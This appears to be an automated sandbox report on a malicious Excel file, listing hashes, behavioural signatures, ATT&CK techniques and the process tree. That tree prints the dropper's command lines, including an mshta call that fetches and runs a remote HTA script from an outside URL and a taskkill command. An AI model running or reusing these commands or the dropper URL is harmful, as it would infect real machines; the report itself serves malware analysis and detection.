7992c0f6155900ff20b80177a0570a5414ba65927a43edaf42aa6cfe126ed030

General

Target

SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls
Size

38KB
MD5

533a8fcd1f64d3ea05629945f9700ac3
SHA1

e5ae13e4e8d5dd211fcabfd3f1e56c0840591235
SHA256

7992c0f6155900ff20b80177a0570a5414ba65927a43edaf42aa6cfe126ed030
SHA512

9a47144a7f56a0d3eff175488502db7643df9cad59e47b1871fda29342e7c09c0fc39b132d8e6a154a16614d6abe3b1966a54c7b05bda7b41e9306a0d070732f

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://facextrade.com.br/wp-includes/certificates/4.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4792	3912	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 36 IoCs

Processes:

mshta.exe

flow	pid	process
16	3368	mshta.exe
17	3368	mshta.exe
21	3368	mshta.exe
22	3368	mshta.exe
23	3368	mshta.exe
24	3368	mshta.exe
26	3368	mshta.exe
27	3368	mshta.exe
29	3368	mshta.exe
30	3368	mshta.exe
31	3368	mshta.exe
32	3368	mshta.exe
33	3368	mshta.exe
34	3368	mshta.exe
35	3368	mshta.exe
42	3368	mshta.exe
47	3368	mshta.exe
49	3368	mshta.exe
50	3368	mshta.exe
52	3368	mshta.exe
55	3368	mshta.exe
56	3368	mshta.exe
57	3368	mshta.exe
58	3368	mshta.exe
59	3368	mshta.exe
60	3368	mshta.exe
61	3368	mshta.exe
62	3368	mshta.exe
63	3368	mshta.exe
64	3368	mshta.exe
65	3368	mshta.exe
66	3368	mshta.exe
67	3368	mshta.exe
68	3368	mshta.exe
69	3368	mshta.exe
70	3368	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

5048 taskkill.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3356 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3912 EXCEL.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

taskkill.exe

description pid process

Token: SeDebugPrivilege 5048 taskkill.exe

pid	process
5048	taskkill.exe

pid	process
3356	PING.EXE

description	pid	process
Token: SeDebugPrivilege	5048	taskkill.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3912	EXCEL.EXE
3912	EXCEL.EXE
3912	EXCEL.EXE
3912	EXCEL.EXE
3912	EXCEL.EXE
3912	EXCEL.EXE
3912	EXCEL.EXE
3912	EXCEL.EXE
3912	EXCEL.EXE
3912	EXCEL.EXE
3912	EXCEL.EXE
3912	EXCEL.EXE
3912	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

EXCEL.EXEcmd.execmd.exe

description	pid	process	target process
PID 3912 wrote to memory of 4792	3912	EXCEL.EXE	cmd.exe
PID 3912 wrote to memory of 4792	3912	EXCEL.EXE	cmd.exe
PID 4792 wrote to memory of 3356	4792	cmd.exe	PING.EXE
PID 4792 wrote to memory of 3356	4792	cmd.exe	PING.EXE
PID 4792 wrote to memory of 2860	4792	cmd.exe	cmd.exe
PID 4792 wrote to memory of 2860	4792	cmd.exe	cmd.exe
PID 2860 wrote to memory of 5048	2860	cmd.exe	taskkill.exe
PID 2860 wrote to memory of 5048	2860	cmd.exe	taskkill.exe
PID 4792 wrote to memory of 3368	4792	cmd.exe	mshta.exe
PID 4792 wrote to memory of 3368	4792	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3912

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4792

C:\Windows\system32\PING.EXE
ping -n 8 127.0.0.1
3⤵
- Runs ping.exe
PID:3356

C:\Windows\system32\cmd.exe
cmd /c start /min taskkill /f /im WINWORD.EXE
3⤵
- Suspicious use of WriteProcessMemory
PID:2860

C:\Windows\system32\taskkill.exe
taskkill /f /im WINWORD.EXE
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5048

C:\Windows\system32\mshta.exe
mshta http://facextrade.com.br/wp-includes/certificates/4.txt
3⤵
- Blocklisted process makes network request
PID:3368

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Outlook.bat
Filesize
1KB

MD5
20484f4a7d41c5f54a0dc7a7d35c2155

SHA1
0b197c48d648bbdc131dca6d4fb89903303372f9

SHA256
6df10dd726cef49360df78c47651a311ea7bb21064fe77e019e223ef32776072

SHA512
94df430c3890d5ba23618283ea6eaa6aa0c74d19c5e049f3cc4d65a464266ccc2eefccdb59d6464606200b2e51cdc9b57c2534c67aded228d00a54d856c98591

Download Submit
memory/2860-142-0x0000000000000000-mapping.dmp

Download
memory/3356-140-0x0000000000000000-mapping.dmp

Download
memory/3368-144-0x0000000000000000-mapping.dmp

Download
memory/3912-147-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/3912-137-0x00007FFF18990000-0x00007FFF189A0000-memory.dmp

Filesize
64KB

Download
memory/3912-138-0x00007FFF18990000-0x00007FFF189A0000-memory.dmp

Filesize
64KB

Download
memory/3912-135-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/3912-134-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/3912-133-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/3912-132-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/3912-136-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/3912-148-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/3912-149-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/3912-150-0x00007FFF1ACB0000-0x00007FFF1ACC0000-memory.dmp

Filesize
64KB

Download
memory/4792-139-0x0000000000000000-mapping.dmp

Download
memory/5048-143-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads